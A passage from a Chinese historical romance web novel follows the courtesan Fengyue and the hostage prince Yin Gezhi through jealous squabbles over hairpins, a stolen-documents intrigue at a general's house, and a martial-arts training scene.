屋子里已经空了,殷戈止走了?松了口气,她正要进去坐下呢,灵殊就不知道从哪儿跳出来了,小辫子气得一翘一翘的:“主子!刚刚断弦姑娘过来,把您的客人抢走了!”
嗯?风月眨眼:“断弦?”
“可不是吗!”灵殊要气**,泪花儿都往上冒:“分明是她说不要抢客人的,先前还那般趾高气扬,现在一转眼又来抢您的,这算个什么?”
瞧这小脸蛋,都给气红了。风月一笑,伸手将她抱到膝盖上,拿了旁边的绿豆糕就哄她:“咱们不气啊,正好你主子不想伺候了,那位客人走了也好,反正银子已经给了,他不来,吃亏的又不是咱们。”
“可……”
“灵殊乖。”摸摸她的头,风月道:“男人这东西啊,你别太在意,谁知道他们心里到底在想什么呢?今儿同这个好,明儿同那个好,都是常事,你在意,那伤着的只有你自个儿,明白了吗?”
灵殊不哭了,有点茫然地看着她。
门口的观止倒是哭笑不得,摸摸鼻子道:“姑娘,也不是世上所有的男人都这样的,灵殊还小,哪有您这样教的?”
抬眼看他,风月挑眉:“公子还有何吩咐吗?”
“那个……”观止也不知道自家主子突然的这是怎么了,不过作为随从,吩咐他只能听,再不合理,也只能硬着头皮道:“主子说饿了,让您做点吃的送过去。”
在别的姑娘房里,让她做吃的过去?风月咂舌,忍不住鼓了鼓掌:“你家主子真是太会折腾人了。”
“凭什么啊!”灵殊跳了起来,冲到观止面前就龇牙:“饿了就让断弦姑娘房里的人做,我家主子没空!”
观止干笑,被个只到自己胸口高的小姑娘瞪着,竟然有点心虚。
风月耸肩,认命地站起来:“行了,人家给了银子的,不吃我就吃东西,反正得吃一样,那还是吃东西吧。”
撑不死他丫的!
殷戈止在断弦房里等着,断弦在弹琴,但是不知道怎么的,已经走了好几个音了,惹得殷大皇子眉头直皱,脸色难看得紧。
断弦很想哭,她真的很好奇风月是怎么伺候这位爷的,浑身都是煞气,让人根本不敢接近,脸上还一点表情都没有,完全看不出他高不高兴。
看不出情绪其实也还好,但自从她开始弹琴,这位爷是明显地不高兴了,嫌弃的神色仿佛一把把尖刀,直往她心口戳。
她可是断弦啊!整个梦回楼最擅长琴艺之人,在不阴城里也算小有名气,竟然被这般看不起。
“你不如别弹了。”殷戈止开口说了一声。
琴声戛然而止,断弦涨红了脸,嗫嚅道:“公子不喜欢这曲子?”
没答她,殷戈止径直起身,将她面前的琴抱了过来,随意放在桌上,挥手弹了几个音。
缠缠绵绵的女儿音,到他手里却成了金戈铁马的苍凉声,断弦一震,殷戈止却没有继续弹。
“不是琴的问题。”他说了这么一句,然后就松开琴,去软榻上躺着了。
屋子里瞬间死寂。
风月拿头顶着托盘把
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菜送进断弦屋子里的时候,就见断弦一脸灰败之色,像是受到了极大的打击,靠在一边目光呆滞地看着她。
这是发生啥了?
将菜放在桌上,风月看向殷戈止,后者懒散地起身,慢悠悠地开始用膳。
“你做的?”吃了两口,殷戈止问了一声。
风月厚着脸皮点头:“您不是让奴家做吃的么?”
奴家就亲自去吩咐厨娘做了呀。
这句话没敢说出来,她知道,一旦说了,以这厮爱折磨人的性子,定然会让她重新去做。
皱眉放下筷子,殷戈止抬头,很是不悦地道:“难吃!”
“难吃您就少用些,都这个时辰了,也该就寝了。”完全不以为意,风月挥手就让灵殊来帮忙收拾碗筷,接着转身就走。
殷戈止面沉如水地坐着,手里的筷子被灵殊恶狠狠地抽走,面前的菜也一瞬间消失了个干净。
胆子还真是不小啊,甩脸子给他看?殷戈止瞪着风月的背影,直到门关上了,才转头看向别处,轻哼一声,缓和了神色。
断弦看得有些怔愣,她不懂为什么风月不怕这位爷,这位爷也好像没有要同她计较的意思。这么对恩客,当真不怕失宠吗?
也是她太不了解殷戈止,像风月这种看得透的,就知道殷戈止从来就不给人恩宠,更谈何失宠?
坐在妆台前卸了头上的东西,风月垂眸一扫,就瞧见台子上放了俩新的金簪。
“这哪儿来的?”
灵殊瞥了一眼,哼声道:“金妈妈给的,说你首饰少了,最近客人多,给添置两支簪子。”
捏起那簪子看了看,做工考究,用料也上乘,难得金妈妈这么大方,终于不给她们用次货充好了,风月点头,放了簪子打了个呵欠,便上床睡觉。
另一边的房里,殷戈止从容地躺在床上,也没管断弦,可怜的姑娘站在床边鼓了十次勇气,都没敢跨上那床榻。见这位爷也没有急着要自己的意思,再三考虑,断弦还是睡去了软榻上。
殷戈止皱眉,心想这姑娘怎么一点也没有风月的眼力劲?要换做那小妖精,早就扑上来勾引他了,完全不用他费事。
转身朝床榻里头睡了,殷戈止觉得,明儿还是换个姑娘吧,这姑娘真是乏味极了。
第二天清晨,风月睡了个好觉起来,梳洗打扮一番,便去准备午膳。虽然不用伺候那位爷了,但她可没忘记还有两个小徒弟,都是贵门子弟,她这儿伙食可不敢差。
灵殊给她戴了旧的簪子,风月撇嘴:“傻丫头,有新的不戴,等着放旧啊?戴这个!”
不情不愿地给她换了簪子,灵殊小声嘀咕:“这俩簪子也没什么好看的,赶明儿奴婢攒够了银子,给主子买个更好的!”
感动地看了她一眼,风月仰天唏嘘:“竟然有人孝顺我,真是好开心啊!”
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第22章 簪子
“主子这说的是什么话。”灵殊鼓嘴:“奴婢是被您救的,也是您一手带了三年,等您不愿意干这行的时候,那奴婢肯定是要养您的!”
小小的丫头,满脸的赤诚,挺直的腰杆瞧着竟也有些风骨。
风月笑了,拍拍她的肩膀就继续往前走:“那以后,我可就靠你啦!”
灵殊跟在后头小步跑着,捏着小拳头暗暗发誓,她一定会好好赚银子的!
……
将军府闯入了贼人。
易掌珠一大早就进宫求见太子,像是被吓得不轻,让太子屏退了左右,严肃地道:“竟然有贼人能闯进将军府!殿下,此事必定要严查!”
叶御卿坐在主位上,淡淡地笑道:“将军府一向滴水不漏,进去的贼人鲜有能生还者,珠儿认为问题出在了哪里?”
易掌珠肯定是不会认为问题在自己身上,就算她引了叶御卿和风月姑娘进府,可一个是当朝太子,一个是低贱的妓子,两个人都不可能对将军府有什么想法,那就只能是内鬼。
“父帅不在,府里的人珠儿大概是压不住。”咬咬唇,她看着叶御卿道:“当真有人背叛将军府,那珠儿也只能向父帅请罪。”
“哦?”叶御卿挑眉:“你半点都不怀疑是那青楼女子,或者是本宫的疏忽吗?”
“掌珠怎么会怀疑殿下。”娇嗔地看他一眼,又想了想风月,易掌珠摇头:“至于那位姑娘,瞧着傻里傻气的,没见过世面,也没什么背景,没有道理做这样的事情。”
傻里傻气?
叶御卿低笑,展开扇子掩了自己的眉眼,眼神幽深。
那个叫风月的姑娘,若是真傻,在殷戈止身边绝对活不下来。既然现在人活得好好的,还能坐在窗台上姿态潇洒地喝酒,那就是说,她半点也不傻。
说来也巧,昨儿本是去了一趟侍郎府,从梦回楼后头的巷子里抄近路回宫,一不小心抬头,还就看见了那般香艳的场景。
说香艳也有点不合适,但他是没见过女人那样喝酒的,不拿酒杯也就罢了,还光着脚敞着袍子,手里拎着酒坛子,难得地不显得浪荡,反而显得潇洒。
回来之后他想了很久,实在没想通自个儿怎么会从一个女子身上看出点狂放不羁的潇洒味道来,不过昨夜入眠,那场景倒是又入了梦。他还没反应过来,自己就靠了过去,将那女子一把搂入怀里。
想要她。
不知道是因为殷戈止,还是因为风月本身就很有趣,他对得到这女人的执念,似乎是越来越深了。
至于将军府……
回过神,叶御卿又笑得温和无害:“本宫会让许廷尉派人去详查的,你放心好了。”
不过既然交到他手里了,这案子就注定不会有结果。
易掌珠毫无察觉,反而高兴地行礼:“多谢殿下!”
“本宫送你出宫吧。”体贴地引她出门,叶御卿语带责备:“女儿家别总一个人四处乱跑,有什么事都可以同本宫说。”
害羞地红了脸,易掌珠颔首,乖巧地跟着他离开皇宫。
“你身边的孙力呢?”坐在马车上,叶御卿突然问了一句。
没想到他这么在意自己,连身边的人都观察入微,易掌珠叹了口气,委委屈屈地道:“被殷哥哥打断了手,送回老家去养着了。”
殷戈止?叶御卿神色微动,转而一想就能知道原因,不由地轻轻吸了一口气。
还真是……难得地对一个女子这般在意啊,这才几日,竟然都会替人出头了?往常他送他的美人儿也不少,结果一个都没能被他留在府上,他倒是好,在青楼里捡着个宝贝,竟然这么护着?
轻笑着摇了摇头,看了一眼外头,叶御卿道:“珠儿,本宫突然有些事情,你先回府吧,晚些时候本宫再让人给你送些小玩意儿。”
易掌珠一愣,颇为不解:“您要去做什么?”
太子的行踪,那是人能随便问的?不过叶御卿倒也没怪罪,只笑了笑不回答,便下了车,带着侍卫骑马,往另一个方向而去。
安世冲和徐怀祖准时地来梦回楼用膳了——虽然很怂地走的后门进来,但看起来对殷戈止的吩咐真是严格遵从,一看见风月,甚至还微微颔首算打招呼。
连忙朝两位公子哥还礼,风月笑道:“午膳已经备好,二位慢用。”
好奇地看了一眼空空的房间,安世冲问了一句:“师父呢?”
风月还没回答,旁边的徐怀祖就笑嘻嘻地打了安世冲的头一下:“你真是走路不长眼睛,方才上楼的时候没瞧见吗?师父在二楼的厢房里,好像在看人跳舞。”
不爽地捂着脑袋看了徐怀祖一眼,安世冲没吭声了,安静而优雅地用膳。
这世家子弟就是有风度,看起来分明很想知道为什么殷戈止不在她房里,但愣是没问。风月微笑,伸手替他们布菜,手上包着的布还没拆,看得两个人眼里更是好奇。
安世冲看起来比较守规矩,但徐怀祖就活泼些,没忍住终于还是问:“姑娘这手,听闻是骨头裂了,还能用?”
眨眨眼,风月道:“奴家原先在乡下做农活儿,受的伤可多了,自然也就忍得疼些。”
徐怀祖看她的眼神顿时带了点尊敬:“说来惭愧,换做在下,在下都不一定能像姑娘这样坚韧,怪不得师父要咱们在这儿用膳,一定是想让咱们从姑娘身上领悟些道理。女子尚且坚如磐石,吾辈男儿,岂能怕流血流汗?”
安世冲一顿,放下筷子,也带了敬意地看了风月一眼,看起来对徐怀祖的话颇为赞同。
风月:“……”
现在的孩子都这么老实吗?殷戈止明显只是想让她做饭而已,还能让他们领悟道理了?
说起来,两个徒儿这么一身正气,当师父的却天天泡在窑子里,像话吗?
“风月!”金妈妈的大嗓门突然在门口响起,吓得桌上两位少爷差点噎死。
赔笑两声,风月转身去开门,就见金妈妈挤眉弄眼地塞了个簪子在她手里:“刚那位温柔俊俏的公子给你送来的,说你戴着定然好看!瞧瞧,上等的和田玉簪,这种簪子,可只有官家才有的!”
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微微一顿,风月接了簪子捏起来看。
是易掌珠给太子的那支,今日竟然来送给她了?
将军府被盗,看来太子殿下已经知道了消息,但他定然不会知道这事与自己有关,那送簪子是个什么意思?
想了一会儿,本着不要白不要的原则,风月伸手就将头上两支新的金簪取了,换上这一支玉簪,素雅高贵。
殷戈止看完歌舞回来,就瞧着两个徒儿用完了膳,正往风月的头上瞧。
“这簪子好看,做工也考究。”安世冲道。
徐怀祖颔首:“一看就很贵重。”
顺着他们的目光朝她头上看了看,殷戈止开口:“玉簪配闺秀,才显端庄娴雅。在你头上,不伦不类。”
一听见他的声音,两个小少爷瞬间起身站得笔直,齐齐行礼:“师父!”
风月嘴角抽了抽,装作没听见他这评价,跟着行礼。
跨进门来,殷戈止脸色不太好看,扫了她一眼,又看了看后头妆台上放着的金簪,刻薄地道:“你戴那个就够了,官家**的簪子,不适合你。”
这人舌头一定浸了毒吧?风月气得直翻白眼,没见过说话这么狠的,简直是不给人活路。
幸好她不爱美,没自尊,这要是换个别人来,不得被他给说得跳河自尽?
“奴家喜欢这簪子。”缓了两口气,风月笑道:“哪怕是不合适,奴家也想戴着。”
“主子。”观止凑上来,小声嘀咕了一句:“这是太子方才亲自来送的,不过人没上楼,在楼下送了就走了。”
脸色不变,殷戈止垂眸看着她,声音平静:“你是喜欢这簪子,还是送簪子的人?”
被他盯得有点毛骨悚然,风月反应比什么都快,捂着脑袋就躲:“奴家都喜欢!恩客送的礼,哪有不喜欢的?这位公子,奴家包给您几日没错,但奴家的东西,您也不能拿啊!”
谁稀罕她个破玉簪?殷戈止有点恼,看她满脸防备的样子,心里莫名地生出一股烦躁来。
“观止,把那两支金簪收了。世冲、怀祖,跟我去练兵场。”
拂袖就走,殷戈止面儿上什么也看不出来,两个徒儿都没察觉自家师父生气了,只有观止擦了擦额头的汗,上前去收风月妆台上的簪子。
“干啥?”风月瞪他:“这簪子是金妈妈给我的。”
哈?观止一愣,不明所以地道:“这是昨儿我家主子给您买回来的,灵殊没说吗?”
心里一跳,风月转头看向角落里的灵殊。
灵殊鼓嘴,心虚地抬头看房梁。
竟然是殷戈止送的?风月有点怔愣,看着观止手里的簪子,伸手就去抢了来。
“哎……”
“送人东西,没有收回去的道理。”捏紧金簪,风月很不要脸地道:“既然是给我的,那就是我的,你不能拿走!”
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第23章 非人般的折磨
观止傻眼了,这主子的吩咐他不听不行啊,可瞧着面前这姑奶奶,捏了簪子就往自己衣襟里塞,他也不可能去抢。
风月的动作那叫一个快,塞完簪子就起身,拎了裙子就往外冲。
殷戈止正沉着脸下楼,冷不防感觉背后有东西袭来,飞快地转身一躲。
“公子!”这一声的调调拐了十八个弯,软软黏黏的,听得人虎躯一震。
风月扭着腰眨着眼,完全没顾忌旁边还有两个根正苗红的小少年,抬腿就贴上殷戈止的身子,撒娇道:“奴家知错了啦~”
身子笔直,任由她贴着,殷戈止眯着眼盯着她:“知错?”
“奴家不知道这金簪是您送的。”谄媚地笑,风月伸手就从胸口掏出簪子,一把插在头上:“早知道是您送的,奴家哪儿舍得取啊?您瞧,您的眼光真是太好了,这簪子很配奴家!”
往她脑袋上扫了一眼,玉簪已经不见了,两支金簪插在上头,跟她这一身红纱衣当真是相配。
心里舒坦了点,殷大皇子面上却还是那般阴沉:“说完了?那就下去!”
“嘤嘤嘤。”盯着眼神杀,风月岿然不动,甚至伸手狠狠摸了一把:“奴家舍不得离开公子,奴家想一直陪着公子!”
她脑袋抽了才去得罪殷戈止啊,趁着还有缓和的余地,赶紧哄回来!
黑色的瞳仁安静地瞧着她,殷戈止不动,就这么站在楼梯上。
出来看热闹的姑娘们越来越多,盯着风月指指点点。风月完全不在意,小媚眼反而抛得更勤了:“公子要是不拒绝,那奴家可就赖着您了?”
“滚。”平静地吐出一个字,殷戈止睨着她,眼里满满的都是嫌弃:“你不觉得丢人,我都觉得丢人。”
到底是女儿家,被他这么说,怎么也该脸红羞愧然后下去了吧?风月没有,完全不为所动,就像没听见这话一般,一张脸依旧笑得春暖花开的,贴着人家身子就扭:“忘记说完了,就算公子拒绝,奴家也会赖着您的。”
殷戈止:“……”
他见过很多不要脸的人,但是跟眼前这个女人比起来,简直就是九牛一毛!好歹是个姑娘,半点自尊都没有?
“我要去练兵场。”
练兵场不是她这种样子的人能去的,有辱军风!
风月依旧没动,傻兮兮地冲他笑:“那奴家就去给您端茶倒水啊!”
“不需要!”终于是不耐烦了,殷戈止伸手,像扯八爪章鱼似的将她从自己身上扯下来,往旁边一扔。
“呯”地一声摔在地上,四周都响起了笑声,风月委屈地揉着屁股,狐狸眼眨巴眨巴的,可怜极了。
殷戈止转身就走,完全没有看她一眼的意思,风月咬牙,立马起身跟了上去:“公子!”
走得很快,殷戈止出门就上马,策马狂奔了好一段路才回头看。
那女人没跟上来。
轻轻松了口气,又觉得有点好笑,他摇了摇头,等两个徒儿和观止策马赶上来,便一起往练兵场而去。
虽然是质子,但大概是因为惜才,吴国皇帝和太子都对他颇为看重,那底下的人自然也就把他当半个吴国皇子看待,加之他善武会兵,练兵场一类的地方,一向是最欢迎他的。有脑子不灵光的武将,被他套套话,便对他言无不尽,军机要事也都说给他听。
比如现在,两个徒儿去练他刚教的一套步法了,宋将军就在他旁边叹息道:“易大将军府上被盗,听闻书房失窃,恐怕之后的几场仗,吴国难打啊!”
“没那么严重。”殷戈止镇定地道:“易将军一向谨慎,就算当真有战术安排或者圣旨被盗,他也会临时做调整,不会出太大的乱子。”
“说是这么说。”看他这胸有成竹的样子,又知道他一向受易将军看重,宋尚温觉得他多半也是知道内情的,于是便小声道:“可北境的战役马上就要开始了,等消息传去易将军耳朵里,怕是都来不及。”
殷戈止摇头:“给易将军送消息的人一向很快。”
“您还不知道吧?”宋尚温扁嘴:“以往快是以往,可今年干湖那边的路都被水淹了,信使都只能走远路。加上易大小姐又不太懂事,等整理好消息送出去,怕是都要明天了。”
眼眸微动,殷戈止叹息了一声,接着便道:“观止那小子又不见了,我去找找,将军慢坐。”
“好。”耿直的宋将军完全不知道自己泄露了什么——的确也没泄露什么,要是他这话说给别人听的话。
但很可惜,听的人是殷戈止。
一把扯了观止就进了练兵场旁边的屋子,殷戈止从袖子里拿了羊皮地图出来,修长的手指往上一划:“信使图快,一般都是一人上路,不走干湖,最近的就是从万马坡到寒雪岭这条道,明日我会去一趟将军府,在掌珠要送信之前,你让人在万马坡候着。”
“是。”低头应下,观止转身就往外走。
捏了捏拳头,殷戈止垂眸。
易大将军战无不胜,功劳最大的当属他的情报机构,传信快,动作隐秘,若是外人,几乎很难截杀他的消息。
不过,他现在,算是吴国的内人了。
来吴国一年,他从未有过什么动作,只在武力上多有彰显,人却显得沉默木讷,被人试探了不下百次,如今终于是等来了机会。
像以前的魏国仰仗他和关将军一样,吴国在行兵打仗之事上,最仰仗的也就是这个易将军。关苍海**,他被俘了,易国如要是还一直潇洒,建功立业,那岂不是没了天道循环之说了?
抬头看了一眼外面,殷戈止回神,打开门出去,看着安世冲和徐怀祖道:“你们继续练,黄昏时分我会回来,二十招之内,只要你们能碰到我,我便将不悔剑和长恨刀送你们。”
不悔剑和长恨刀!兵器谱上有名的利器,多少武人求之若狂,竟然全在师父这里?两个少年兴奋了,齐齐拱手应下,然后更加刻苦地练了起来。
殷戈止潇洒地甩手,就打算回去找个地方休息。
谁知,一只脚刚踏出练兵场的大门,一抹红色的影子猛地就扑了过来,抱紧
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他跨出来的腿,抬头就冲他扁嘴:
“公子让奴家等得好生辛苦啊!”
喉咙一噎,他抬头扫了一眼四周,这儿方圆一里都荒无人烟的,她竟然还跟来了?
瞧她衣裳上染了黄沙,鼻尖上也有点灰,殷戈止抿唇:“你还真是有本事。”
嘿嘿一笑,风月讨好地道:“有人说啊,‘精诚所至,金石为开’,奴家这么真心诚意地致歉,公子肯定不会再生奴家的气了!”
的确是不生气了,但还是看不起她,怎么没事就喜欢往地上跪啊趴的,不要脸起来还抱人家的腿,当真是个姑娘?
轻哼一声,殷戈止掀开她,冷漠地道:“我要喝茶。”
“早就备好嘞!”从背后变出个竹筒来,双手捧着递过去:“凉茶,清热解渴!奴家亲手泡的!”
接过来打开盖子闻了闻,勉勉强强地喝了一口,殷戈止道:“凑合。”
这种得了便宜还拽得要死的人一定会下地狱的!风月咬着牙笑得妩媚,看他又要走,连忙起身跟在他身后。
“公子要回城吗?不骑马吗?”
瞥一眼她满是灰尘的绣花鞋,殷戈止丝毫不怜香惜玉地道:“骑马骑累了,想走走。”
人家说走走,那就走走吧,风月认了,跟着他踏上泥土地,他走,她就小碎步跟着。
一炷香之后,四周已经是田埂了,风月揉着腿小声道:“公子,真的不考虑乘车吗?那边有牛车。”
殷戈止背挺得很直,高大的身子能为她挡点阳光,但脚下生风,完全没有要停歇的意思:“不乘。”
行吧,不就是走路吗?她行军的时候走得也不少,权当锻炼了。
可是,如今这身子比不得从前了,半个时辰之后,风月累趴在了一块大石头上,满脸苍白地嚎:“要**要**,奴家不走了,公子回去的时候,让人来接奴家吧?”
“你想得美。”殷戈止头也没回,眼里却有些恶劣的愉悦:“要是不走,我不会管你。”
夭寿啊!风月仰天长啸:“救命啊——”
停下步子,回头看她一眼,殷戈止抱着胳膊道:“留点力气晚上喊也不迟,等天黑了,这边有的是山禽野兽。”
浑身一个激灵,风月认命地站了起来,老老实实继续跟在他后头走。
贵人是不是都有病啊?好端端的马不坐,喜欢走路?她走得眼睛都花了,背弯着,双手无力地垂着晃荡,远看肯定像一只殷戈止背后牵着的狗。
实在走不动了,风月伸手就抓住了前头这人的腰带,头抵上去,哀哀地道:“奴家……受不住了…公子…饶命啊!”
这喊的都是什么乱七八糟的?殷戈止嗤了一声,回头睨着她:“做个选择吧。”
“什么?”
“把你今儿得的玉簪给我,我背你回去。或者,你自己继续跟着走。”
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第24章 一点也不在意
见过这么无耻的人吗?啊?跟个妓子抢东西?风月眼睛都红了,双手抱胸,委委屈屈地看着他:“没有第三个选择了吗?”
殷戈止转身就走。
“哎哎!”风月认命了,老老实实地把怀里的玉簪掏出来,追上去就塞进他手里:“奴家实在走不动了!”
停下步子,殷戈止看着她。
面前的女人伸手就朝他撒娇:“簪子给你了,要抱抱!”
身子一扭一扭的,活像只小狐狸,甩着大尾巴朝他抛媚眼。心里微哂,他收了簪子,伸手就将她捞了起来。
终于不用自己走了!风月感动得差点哭出来,抓着人家衣襟,委委屈屈地擤了擤鼻涕:“脚好痛啊!”
“闭嘴。”
没见过这么聒噪的人,一张小嘴随时都在说话,真是吵**。
“别啊,还有那么远的路,要是都不说话,那不是无聊**?”风月扁嘴,锲而不舍地道:“奴家刚刚跑过来的时候路上遇见很多人呐,都盯着奴家看,活像奴家是天上掉下来的仙女似的哈哈!”
斜她一眼,殷戈止道:“也许人家只是觉得你像只山鸡。”
“呸呸呸,哪有山鸡像奴家这般美艳动人的?”风月哼道:“那场景分明就是……怎么说的来着?行者见罗敷,下蛋捋胡须?”
殷戈止:“……”
不仅像山鸡,还是一只没读过书的山鸡。
轻叹了一口气,他抱着她,板着脸低声念:“行者见罗敷,下担捋髭须。少年见罗敷,脱帽着俏头。耕者忘其犁,锄者忘其锄。来归相怨怒,但坐观罗敷。”
声音清幽低沉,像翻阅着陈旧带香的书,一股子雅气。
“对对对!”连连点头,风月笑眯眯地道:“我就是那个罗敷!”
实在没忍住,殷戈止停了步子,皱眉看着她:“你到底是哪里来的自信?”
还罗敷?她这张脸再画厚点的妆,就跟戴了面具没什么两样了!
扁扁嘴,风月晃着腿道:“您别这样看不起奴家呀,好歹刚刚也有人问奴家名姓呢,瞧着一张脸都红到耳朵根了啧啧,哎,就前头那个穿着士兵衣裳的那个小哥!”
说着说着就看见了人,风月挣扎着就要朝人挥手,殷戈止掐紧了她,不悦地道:“再乱动,你自己下去走!”
身子一僵,风月立马老实了,抱着人家脖子靠在人家怀里就装死。
朝那边正在巡视的士兵看了一眼,殷戈止面无表情,根本不在意。
把人扔回梦回楼,殷戈止皱眉活动着胳膊,眼里满是不悦。
风月赔笑地替他揉着胳膊:“公子真是天生神力啊,抱了奴家这么远!”
对她的恭维完全不感兴趣,殷戈止道:“我最近两日有事,可能不常来此处。”
“奴家明白。”笑吟吟地应了,风月妩媚地道:“公子忙完了再过来,奴家候着呢。”
出城的路上就有人告诉她,太子命廷尉查将军府失窃之事了,不过命令是这么下了,廷尉目前也没什么大动作。殷戈止这个时候忙,十有**也跟这件事有关。
不可一世的魏国皇子,当真甘心一直在吴国为质?
她倒是想看看,沉寂了一年之久的殷大皇子,到底在想个什么。
瞧着她乖巧,殷戈止也没多说,坐着歇了一会儿就先回府更衣。
“主子。”刚踏进使臣府,就有人在暗处朝他道:“有人送了两盒东西来,属下检查过,有些蹊跷,但……人没抓着。”
东西?殷戈止颔首,走进主屋去看。
两个黄梨木的盒子,既然已经被检查过,他也就放心地直接打开,将里头放着的一叠东西拿出来看。
待看清那些东西是什么的时候,殷戈止瞳孔微缩,转头就斥了一声:“怎么能没抓着人!”
“属下失职!”暗处的人无奈地道:“实在是不知道谁从墙外扔进来的,追出去的时候,街上人太多,压根不知道……”
易将军府上的地图,写明了机关布置,连带着还有府上失窃的机密书信,这些东西,竟然会有人拿来给他?
他明面上与易将军可算是英雄惜英雄,断然不会有人觉得他要对易国如下手,那送这东西来的人,是什么意思?
心里顿时紧张,殷戈止满眼戾气,捏着一堆信纸看完之后,尽数焚毁。
不是太重要的军机,只两道圣旨有用,这贼人厉害归厉害,也还没找到那老东西最要紧的机密。
不过,这点东西到他手里,也是能起不小的作用的。
谁在背后帮他?亦或是,想利用他?
沉吟了一炷香的时间,殷大皇子冷哼了一声,挥袖将纸燃完的灰烬拂得漫天。
管他是谁,管他想做什么,他只做他要做的,无论谁来掺和,他都不会罢手!
天色渐暗,殷戈止回到了练兵场,两个徒儿已经跃跃欲试地候着了。
“师父,只要碰着你就可以吗?”徐怀祖问了一声:“不管用什么手段?”
“嗯,只要用上我教你们的步法,其他手段随你们。”殷戈止颔首,一身绣银黑衣被风吹得翻飞。
四周围了不少的人在看,安世冲和徐怀祖对视一眼,一个攻左,一个攻右,出招极快,配合也算不错。
殷大皇子很是牛逼地负手而立,左躲右闪,衣袍烈烈,过了十
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招,愣是没让他们碰着衣角。
徐怀祖不高兴了,他看上长恨刀很久了,原以为这辈子碰不着,谁知道近在眼前。就算是师父,那也必须打啊!可是,师父的身法实在太敏捷刁钻,要是不耍阴招,真的不可能碰得着。
“啊,那不是风月姑娘吗?”旁边突然有围观的士兵喊了一声。
殷戈止一愣,下意识地回头看过去,就感觉旁边两道凌厉的风卷了过来。
好小子,还玩阴的?殷戈止在心里笑了笑,身子却没动,任由他们一左一右打在自己手臂上。
“哇!”没想到这招真的有效,徐怀祖高兴地叫了一声,抱起安世冲就甩了个圈儿:“咱们碰着了!”
安世冲也高兴,但是被人,还是被个男人这么抱着,饶是发小,他也毫不客气地一拳挥了出去,打得这人松开他后退两步,“刷”地流了鼻血。
“师父!”徐怀祖委屈地告状:“他打我!”
“你有脸说?”安世冲皱眉:“没个正形!”
瞧得出来这俩孩子很高兴,殷戈止也就缓和了神色,挥手让观止把他一早准备好的刀剑拿出来,送到他们手上。
“这是为师弱冠之时,寻得上等寒铁,亲手所铸。”殷戈止淡淡地道:“尘封多年,如今另得主人,愿你们善待。”
徐怀祖下巴都要掉地上了,看看手里寒气四溢的长恨刀,震惊地道:“竟然是师父铸造的?”
怪不得世人都知这一对刀剑削铁如泥,被皇室珍藏,却不知道是何人所铸,也不知下落何方。师父手里的东西,那肯定都是神兵利器。只是……弱冠的时候就自己铸造神兵,他们师父到底是吃什么长大的?
安世冲眼里满满的都是高兴,抚着长恨剑,朝殷戈止行了大礼:“多谢师父!”
殷戈止颔首,抬头扫了一眼惊叹的众人,目光突然一顿。
周围看热闹的士兵们都是一惊,相互看了看。
收回目光,殷戈止看着背后的宋将军道:“宋家军一向是以彪悍著称,武功想必都不错,等会儿在下要给两个徒儿演示新的招式,将军能不能借个人给在下?”
宋将军爽快地道:“殿下随意挑。”
能被殷戈止选着当靶子,虽然很荣幸,但一定很疼。一众士兵硬着头皮站着,就见面前那玄衣男人走过来,步子都没带偏的,直接走到了一个人面前,点着他道:“就你了。”
被点着的士兵一脸茫然,他才刚从外头巡视完了回来,怎么就要给人当**靶子了?
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第25章 无形的管制
不过既然被选中了,那就穿着盔甲上吧,士兵想,就当是一次难忘的人生经历了。
结果他没想错,接下来发生的事情,当真是死都难忘!
“人身上有一百零八处死穴,行军打仗,遇见的对手往往不止一个人。在群攻之时,若想突出重围,一个个地击杀敌人很费力气,为了省力,就尽量往死穴上打。”
认真地说完,殷戈止转身看着那士兵,眼里一点温度都没有:“头面上,你们注意看我击打的位置。”
两个少爷凑过来仔细盯着,就见自家师父出手如电,击在那士兵的百会穴、睛明穴、太阳穴、人中、印堂、耳门……一连串下来,站着的士兵脸色发青,目光陡然充满惊恐。
“不用紧张,我压根没用力气,你不会死。”看着肉靶的身子抖起来,殷大皇子很善良地安慰了一句:“顶多回去疼上几日罢了。”
士兵:“……”他现在走还来得及吗?
明显来不及了,殷戈止压根没管他,继续道:“再然后是身上,但身上的大穴一般被盔甲护着,要省力为师不建议你们攻身躯。”
说是这么说,修长的手一握成拳,还是带着力道落在那士兵的胸口、背心、小腹,听着“呯呯”作响。饶是穿着盔甲,肉靶的脸色也微微发白,不知道是疼的还是吓的。
“最省力的,当然是咽喉。接下来为师教你们几个路数,在混战中也能准确取人一命。”退后几步,殷戈止看着那士兵,勾了勾手:“过来想办法杀我。”
身上的死穴被这么打了一通,就算身体没事,心里也有阴影啊!士兵的腿发软,哆哆嗦嗦了好一会儿,才举着大刀冲过去。
“呀——”
冷静地看着他,殷戈止侧身躲开第一击,顺手在地上捡了树枝,猛地朝他劈下。那小兵反应还算快,抬头便举刀去挡。
就这个时候,殷戈止左手猛地往他咽喉前头一划,眸子里霎时迸出冷冽杀气,直击人心。
感觉喉咙一凉,士兵连吸气都不敢,怔愣地看着对面这人的眼睛,恍然间就觉得自己已经****。
是他蠢,这么简单的声东击西都躲不开,但这位爷出手太快,他跟不上啊……他就是个肉靶而已,到底犯了什么错,怎么就对他这么狠呐?
身子一软,士兵缓缓倒了下去,不甘心地闭上了眼。
徐怀祖看得连连拍手:“这套招术不错,徒儿们一定好生练习。”
收回手,殷戈止颔首,拂袖道:“基本功永远是最重要的,其余再多招式套路也只是在你们基本功扎实之后,明日继续来练吧,今日就到此为止。”
“是。”安世冲和徐怀祖应了,目送殷戈止先离开,才收拾东西一并出去。
一众士兵目光崇敬地看着那几个远去的贵人,等看不见了,才七手八脚地把地上躺着的士兵拉起来:“李山南,装死呢?快醒醒,等会儿该吃晚饭了。”
李山南闭着眼睛小心翼翼地开口:“我已经快**,还吃什么晚饭!”
死?看一眼他完好的喉咙,众人齐齐翻了个白眼:“殷殿下手里都没武器,你**?”
啥?摸一把自己的脖子,李山南立马站直身子,抖了抖胳膊腿儿,捂着胸口道:“真是像在鬼门关走了一遭似的……”
殷殿下的眼神,着实吓人!
不过,有生之年要是能有他那样的武学造诣,就好了。
感慨了一阵子,换防完毕的士兵们还是勾肩搭背地去用膳了。
殷戈止不在,风月便只给两位少爷备了晚膳,正等着人回来呢,就听见外头又有吵嚷声。
“爷。”断弦勉强笑着拦着个客人:“您一向宠着奴家的,这回来怎么就点别人的台了?”
“就是啊。”金妈妈帮腔:“而且风月是当真没空,被人包了的。”
满脸横肉的恩客冷哼,不管不顾地就往楼上走。金妈妈拦不住,直瞪断弦。断弦也很无奈啊,上回这客人就对风月有了点兴趣,这回来要人,她有什么办法?
听着动静,风月开门出来,瞧见人上来就笑:“这是怎么了?”
